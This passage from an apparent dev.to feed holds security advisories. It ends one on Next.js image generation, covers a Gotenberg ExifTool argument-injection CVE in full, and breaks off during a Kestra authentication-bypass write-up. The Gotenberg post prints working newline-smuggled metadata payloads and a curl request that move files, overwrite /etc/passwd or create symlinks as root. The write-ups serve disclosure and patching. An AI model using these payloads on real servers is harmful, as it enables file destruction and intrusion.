&lt;p&gt;Values go through &lt;code&gt;escapeXMLAttribute()&lt;/code&gt;/&lt;code&gt;escapeXMLText()&lt;/code&gt;, which convert &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, and the like into entities — turning them into strings that can never break out of a tag. Tag names and attribute names (keys), on the other hand, can't be escaped at all by nature, so those go through &lt;code&gt;assertValidXMLName()&lt;/code&gt; instead, which throws if the name doesn't conform to the XML naming spec. Escaping for values, validation for names — treating two fundamentally different kinds of input with the mechanism each one actually needs is the core of this fix.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Next.js to 16.3.6 or later. If you depend on Satori directly, update it to 0.33.5 or later.&lt;/li&gt;
&lt;li&gt;If an immediate update isn't possible, audit every path where user input reaches the JSX passed to &lt;code&gt;ImageResponse&lt;/code&gt;. Where feasible, moving the affected route to the Edge runtime, or running it in an environment without the &lt;code&gt;sharp&lt;/code&gt; dependency, can serve as a temporary mitigation — though neither is a substitute for the real patch.&lt;/li&gt;
&lt;li&gt;Since OG image routes are inherently meant to be public, a WAF rule that temporarily blocks requests where image-generation query parameters (&lt;code&gt;title&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, etc.) contain &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, or &lt;code&gt;&amp;gt;&lt;/code&gt; can help in the interim.&lt;/li&gt;
&lt;li&gt;If there was a window of exposure, check outbound request logs for signs that a &lt;code&gt;sharp&lt;/code&gt;/&lt;code&gt;librsvg&lt;/code&gt; process reached an unexpected external host — a possible indicator of SSRF.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
      <category>nextjs</category>
      <category>security</category>
    </item>
    <item>
      <title>CVE-2026-40281 Explained: A Patch That Guarded "=" on One Side Only</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 13 Oct 2026 01:25:17 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-40281-explained-a-patch-that-guarded-on-one-side-only-5904</link>
      <guid>https://dev.to/guidance_white/cve-2026-40281-explained-a-patch-that-guarded-on-one-side-only-5904</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsrs9eks6k7136y2wxi5r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsrs9eks6k7136y2wxi5r.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-40281&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Gotenberg (Docker-powered PDF conversion API, thecodingmachine/gotenberg)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;8.30.1 and earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;8.31.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-88 (Argument Injection), CWE-20 (Improper Input Validation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;morimori-dev, via a Gotenberg GitHub Security Advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Note&lt;/td&gt;
&lt;td&gt;A bypass of the "incomplete fix" shipped in v8.30.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Gotenberg is a Docker-based API server that converts HTML and Office documents into PDFs. It can also write metadata — title, author, and so on — into the generated PDF, and the actual write is handled internally by an external program called ExifTool.&lt;/p&gt;

&lt;p&gt;The story here is that &lt;strong&gt;a prior fix only closed half the door&lt;/strong&gt;. The earlier reported issue was that a newline inside a metadata &lt;em&gt;key&lt;/em&gt; could inject arbitrary arguments into ExifTool, so Gotenberg added a regex check on keys. But metadata is a key/value pair, and the attacker controls both sides — not just the key. The patch validated only the left side of &lt;code&gt;=&lt;/code&gt; (the key); the right side (the value) kept flowing to ExifTool completely unchecked.&lt;/p&gt;

&lt;p&gt;As a result, the exact same class of argument injection became possible again — just by putting a newline in the &lt;em&gt;value&lt;/em&gt; instead. An unauthenticated attacker can &lt;strong&gt;move or overwrite arbitrary files inside the Gotenberg container, or create symlinks/hardlinks at paths of their choosing, all as root.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — the metadata write pipeline
&lt;/h2&gt;

&lt;p&gt;Here's how Gotenberg handles a PDF metadata write:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A client sends a PDF file plus JSON metadata (e.g., &lt;code&gt;{"Title": "..."}&lt;/code&gt;) to &lt;code&gt;/forms/pdfengines/metadata/write&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Gotenberg passes that metadata to &lt;code&gt;WriteMetadata()&lt;/code&gt; in &lt;code&gt;pkg/modules/exiftool/exiftool.go&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WriteMetadata()&lt;/code&gt; hands each key/value pair to &lt;code&gt;SetString()&lt;/code&gt; in the &lt;code&gt;go-exiftool&lt;/code&gt; library, which writes it, line by line, to the standard input (stdin) of a running ExifTool process.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// barasher/go-exiftool&lt;/span&gt;
&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fprintln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;"="&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ExifTool is a command-line tool, but instead of launching fresh for every request, Gotenberg keeps one process running and feeds it commands over stdin (&lt;code&gt;-stay_open&lt;/code&gt; mode). In this design, &lt;strong&gt;every line written to stdin is effectively one command-line argument.&lt;/strong&gt; So if that one line secretly contains another newline, it creates an unintended "second argument."&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwisd0z0d2hlkulfenvxd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwisd0z0d2hlkulfenvxd.png" alt=" " width="800" height="1333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — the v8.30.1 patch validates the key, and only the key
&lt;/h3&gt;

&lt;p&gt;In response to an earlier-reported flaw (injecting arguments via a newline in the metadata &lt;strong&gt;key&lt;/strong&gt;, tracked as CVE-2026-42589), Gotenberg 8.30.1 added this key-validation logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// pkg/modules/exiftool/exiftool.go — WriteMetadata()&lt;/span&gt;
&lt;span class="c"&gt;// key validation added in v8.30.1 (commit 405f106)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;metadata&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;safeKeyPattern&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MatchString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"write PDF metadata with ExifTool: invalid metadata key %q"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;safeKeyPattern&lt;/code&gt; is a regex that only allows safe characters like alphanumerics, blocking newlines or &lt;code&gt;=&lt;/code&gt; from sneaking into a key. This part works exactly as intended.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — the value sails straight through to ExifTool, unchecked
&lt;/h3&gt;

&lt;p&gt;The problem is the very next step. Once a key clears validation, its value is handed to &lt;code&gt;SetString()&lt;/code&gt; with no check at all.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// the value passes through with no validation&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;fileMetadata&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;// val can contain anything&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;go-exiftool&lt;/code&gt;'s &lt;code&gt;WriteMetadata()&lt;/code&gt; takes this key/value pair and writes it as one line to ExifTool's stdin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fprintln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;"="&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;k&lt;/code&gt; (the key) just passed validation, so it's safe. Nobody checks what's inside &lt;code&gt;str&lt;/code&gt; (the value).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — a newline in the value splits one stdin line into two (the root cause)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;fmt.Fprintln&lt;/code&gt; appends a newline after the string it's given — it does nothing to stop a newline that's already &lt;em&gt;inside&lt;/em&gt; that string. So if &lt;code&gt;str&lt;/code&gt; itself contains &lt;code&gt;\n&lt;/code&gt;, ExifTool's stdin receives &lt;strong&gt;two lines instead of the intended one&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For example, send this as the &lt;code&gt;Title&lt;/code&gt; metadata value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Title = "test\n-FileName=/tmp/inject_proof"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and ExifTool's stdin actually receives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-Title=test
-FileName=/tmp/inject_proof
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To ExifTool, this isn't "set Title to test" — it's &lt;strong&gt;two entirely separate commands&lt;/strong&gt;, the second being &lt;code&gt;-FileName=/tmp/inject_proof&lt;/code&gt;. &lt;code&gt;-FileName&lt;/code&gt;, &lt;code&gt;-Directory&lt;/code&gt;, &lt;code&gt;-SymLink&lt;/code&gt;, and &lt;code&gt;-HardLink&lt;/code&gt; are ExifTool "pseudo-tags" — they don't write metadata, they manipulate the filesystem directly. An attacker can inject any of these pseudo-tags through the value — and notably, these are &lt;strong&gt;exactly the tags the key validation was meant to block.&lt;/strong&gt; The v8.30.1 patch checked only the left side of &lt;code&gt;=&lt;/code&gt;; the attacker reproduces the same outcome through the right side.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — direct filesystem manipulation inside the container, as root
&lt;/h3&gt;

&lt;p&gt;Inside the Gotenberg container, ExifTool runs as root by default. Since the injected pseudo-tag applies directly to the PDF currently being processed, an attacker gains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1) Move the PDF being processed to an arbitrary path inside the container&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;HTTP %{http_code}"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'files=@test.pdf;type=application/pdf'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://target:3000/forms/pdfengines/metadata/write
&lt;span class="c"&gt;# → HTTP 404 (file vanished from the temp path = the move succeeded)&lt;/span&gt;

docker &lt;span class="nb"&gt;exec &lt;/span&gt;gotenberg-test &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/inject_proof
&lt;span class="c"&gt;# -rw-r--r-- 1 root root ... /tmp/inject_proof  (the PDF landed here)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Combining &lt;code&gt;-Directory&lt;/code&gt; and &lt;code&gt;-FileName&lt;/code&gt; can overwrite an arbitrary system file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Title&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;-Directory=/etc/&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;-FileName=passwd"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, ExifTool moves the entire PDF being processed to &lt;code&gt;/etc/passwd&lt;/code&gt;, clobbering the system's user database with a PDF binary.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-SymLink&lt;/code&gt; creates a symlink at an arbitrary path, which can become a stepping stone for chaining into other read/write primitives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Title&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;-SymLink=/tmp/sym_inject"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec &lt;/span&gt;gotenberg-test &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/sym_inject
&lt;span class="c"&gt;# lrwxrwxrwx ... /tmp/sym_inject -&amp;gt; /tmp/.../source.pdf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-HardLink&lt;/code&gt; creates a hard link, which can keep data around even after Gotenberg cleans up its temp directory.&lt;/p&gt;

&lt;p&gt;The HTTP response itself comes back as an ordinary 200 (a valid PDF returned) or 404 (the file vanished mid-processing), so on the surface it just looks like a routine processing failure — easy to miss with basic monitoring.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/WreD_tGyl5A" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — apply the same validation to values
&lt;/h2&gt;

&lt;p&gt;Gotenberg 8.31.0 extends the &lt;code&gt;safeKeyPattern&lt;/code&gt; check — previously applied to keys only — to values as well, rejecting any value that contains a newline or other control character.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;metadata&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;safeKeyPattern&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MatchString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"write PDF metadata with ExifTool: invalid metadata key %q"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContainsAny&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\r\x00&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Errorf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"write PDF metadata with ExifTool: invalid value for key %q (contains control character)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The lesson is straightforward. Any code that hands &lt;code&gt;key=value&lt;/code&gt; pairs to an external process has to assume both sides of &lt;code&gt;=&lt;/code&gt; are attacker-controlled. A fix that validates one side and assumes "the rest must be safe" leaves the door open. This is especially worth flagging in code review for any long-running, stay-open process fed commands over stdin: the moment a newline slips into a string you're writing there, it becomes "a brand new command line" on its own.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Gotenberg to 8.31.0 or later immediately.&lt;/li&gt;
&lt;li&gt;If an immediate update isn't possible, block the metadata-write endpoint (&lt;code&gt;/forms/pdfengines/metadata/write&lt;/code&gt;) at a reverse proxy or WAF, or add a temporary rule rejecting requests whose metadata values contain newlines or control characters.&lt;/li&gt;
&lt;li&gt;Running the Gotenberg container as a non-root user limits the blast radius of the same class of bug to whatever paths that user can write to, even if a similar flaw resurfaces.&lt;/li&gt;
&lt;li&gt;If exposure is possible, check the container for unexpected file moves, symlinks, or overwrites — especially under &lt;code&gt;/etc/&lt;/code&gt; and &lt;code&gt;/tmp/&lt;/code&gt; — and recreate any container that may have been affected.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>docker</category>
    </item>
    <item>
      <title>CVE-2026-49869 Explained: How One String Comparison Hands Root to an Unauthenticated Attacker</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Mon, 12 Oct 2026 01:32:16 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-49869-explained-how-one-string-comparison-hands-root-to-an-unauthenticated-attacker-e35</link>
      <guid>https://dev.to/guidance_white/cve-2026-49869-explained-how-one-string-comparison-hands-root-to-an-unauthenticated-attacker-e35</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkt5cxw3rfewbnfrr0gsq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkt5cxw3rfewbnfrr0gsq.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-49869&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Kestra OSS (open-source workflow orchestration platform)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Below 1.0.45, and 1.1.0 up to (not including) 1.3.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;1.0.45, 1.3.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-287 (Improper Authentication), CWE-184 (Incomplete List of Disallowed Inputs), CWE-78 (OS Command Injection), CWE-918 (SSRF)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Vasco0x4, via Kestra's GitHub bug bounty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Note&lt;/td&gt;
&lt;td&gt;Added to the CISA KEV catalog (Sep 2, 2026); exploited in the wild, including cryptominer deployments&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Kestra is an open-source platform for defining, scheduling, and running workflows. It needs exactly one endpoint reachable before login exists: a public configuration endpoint that the setup screen reads to know how login and feature flags are configured. The single conditional written to carve out that one exception turned into a hole that disabled authentication across the entire platform.&lt;/p&gt;

&lt;p&gt;The cause is simple. Where the code needed to ask "is this the config endpoint?", it instead asked "does this path end in the string &lt;code&gt;configs&lt;/code&gt;?" Those two questions happen to agree on the one path they were meant to cover — and disagree on every other path that shares the same ending. Because Kestra's REST API embeds attacker-controlled values, like a flow's name, directly into the path, that gap was trivial to walk through.&lt;/p&gt;

&lt;p&gt;The practical result: name any flow &lt;code&gt;configs&lt;/code&gt;, and every API that creates, runs, or deletes that flow skips authentication entirely. Kestra also ships with shell, Python, and Node script-execution plugins enabled by default, and those scripts run inside the worker container as root. One broken authentication check becomes &lt;strong&gt;unauthenticated remote code execution (RCE)&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — AuthenticationFilter
&lt;/h2&gt;

